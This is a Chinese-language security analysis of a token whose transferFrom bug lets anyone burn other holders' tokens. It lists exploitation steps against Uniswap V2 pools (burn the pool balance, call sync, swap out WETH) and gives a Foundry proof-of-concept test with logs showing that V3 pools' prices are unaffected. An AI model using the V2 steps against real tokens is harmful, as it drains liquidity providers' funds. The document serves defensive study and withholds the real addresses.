【技術分析】UniV3 Pool 對 burnable 漏洞代幣的防護機制
代幣漏洞
攻擊者可以通過 transferFrom 函數 burn 任意賬戶的 Vul 代幣。

因為本問涉及的漏洞可導致用戶資產損失,所以不提供代幣和 Pool 的地址,代幣名稱用 Vul 代幣代替。
利用方式
在 V2 Pool 場景下,針對 burnable 漏洞的利用方式
- 購買少量 Vul 代幣
burn掉大量 V2 Pool 中的 Vul 代幣- 調用
Pool.sync()函數更新reserve變量,對價格進行操控 - 用步驟 1 中的 Vul 代幣,以步驟 3 中的價格,換出大量的 WETH 代幣完成獲利
但是以上的操作在 V3 中是不可行的,因為 V3 版本只根據 mint 操作中更新的 Position 來計算價格,且不提供 sync 類型的函數來根據 balance 來更新當前的價格。
V3 不提供
sync和skim等直接操作 Pool balance 的函數,且 V3 的mint,burn,swap和flash等操作也不會根據 Pool balance 來更新價格。
所以即使把 V3 Pool 中的 token0 通過漏洞 burn 掉,依然不會影響到 swap 時候的價格,只會導致無法換出 token0。也就是說 burnable 漏洞無法在 V3 Pool 上被用來獲利。
PoC 驗證
通過 foundry 來進行驗證,查看 burn 漏洞對 V3 Pool 價格的影響
function test_HackVul() public {
IUniswapV3Pool pool = IUniswapV3Pool(...);
ISwapRouter router = ISwapRouter(...);
IERC20(WETH).approve(address(router), type(uint256).max);
IERC20(Vul).approve(address(router), type(uint256).max);
IERC20 vulnToken = IERC20(pool.token0());
uint160 sqrtPriceX96;
// Initial Price
(sqrtPriceX96,,,,,,) = pool.slot0();
console.log("sqrtPriceX96(Initial Price):", sqrtPriceX96);
// Swap WETH -> Vul
ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
tokenIn: WETH,
tokenOut: Vul,
fee: 100,
recipient: address(this),
deadline: block.timestamp,
amountIn: 1e18,
amountOutMinimum: 0,
sqrtPriceLimitX96: 0
});
router.exactInputSingle(params);
// Price before burn
(sqrtPriceX96,,,,,,) = pool.slot0();
console.log("sqrtPriceX96(Price before burn):", sqrtPriceX96);
// Burn Vul from pool
vulnToken.transferFrom(address(pool), address(0), IERC20(vulnToken).balanceOf(address(pool)));
// Price after burn
(sqrtPriceX96,,,,,,) = pool.slot0();
console.log("sqrtPriceX96(Price after burn):", sqrtPriceX96);
// Swap Vul -> WETH
ISwapRouter.ExactInputSingleParams memory params2 = ISwapRouter.ExactInputSingleParams({
tokenIn: Vul,
tokenOut: WETH,
fee: 100,
recipient: address(this),
deadline: block.timestamp,
amountIn: vulnToken.balanceOf(address(this)),
amountOutMinimum: 0,
sqrtPriceLimitX96: 0
});
router.exactInputSingle(params2);
// The price was not affected by the vulnerability
(sqrtPriceX96,,,,,,) = pool.slot0();
console.log("sqrtPriceX96(The price was not affected):", sqrtPriceX96);
}
結果顯示 burn 掉 V3 Pool 中的代幣并不會影響價格
[PASS] test_HackVul() (gas: 483668)
Logs:
sqrtPriceX96(Initial Price): 9636092331332244639264478
sqrtPriceX96(Price before burn): 12558296738001735018391306
sqrtPriceX96(Price after burn): 12558296738001735018391306
sqrtPriceX96(The price was not affected): 9636316559882523596720639

浙公網安備 33010602011771號